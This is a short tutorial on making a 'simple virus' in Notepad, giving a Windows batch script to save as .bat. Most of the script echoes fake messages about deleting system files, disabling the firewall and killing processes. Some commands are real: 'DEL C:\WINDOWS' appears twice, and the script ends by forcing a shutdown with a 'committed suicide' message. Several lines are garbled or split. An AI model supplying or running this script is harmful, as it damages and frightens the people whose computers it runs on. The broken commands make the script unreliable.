HOW TO CREATE A SIMPLE VIRUS USING NOTEPAD:

cls
:A
color 0a
@ echo off

echo Wscript.Sleep
DEL C:\WINDOWS 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs

echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32


dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files...
echo del *.*
start /w wscript.exe C:\sleep3000.vbs

echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition...

start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs

echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x...

cd C:\Documents and Settings\All Users\Start Menu\Programs\mkdir
h4x
DEL C:\WINDOWS
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!


echo:
echo:
echo:
echo Execution Attempt 1...
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\


echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:start /w wscript.exe C:\sleep2000.vbs

echo Disabling Windows Firewall...
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes...
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup...


start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exeC:\sleep2000.vbs
echo:

echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c "Your computer has committed suicide. Have a nice day."

 NB: save as .bat any inconvenience which occurs is your own problem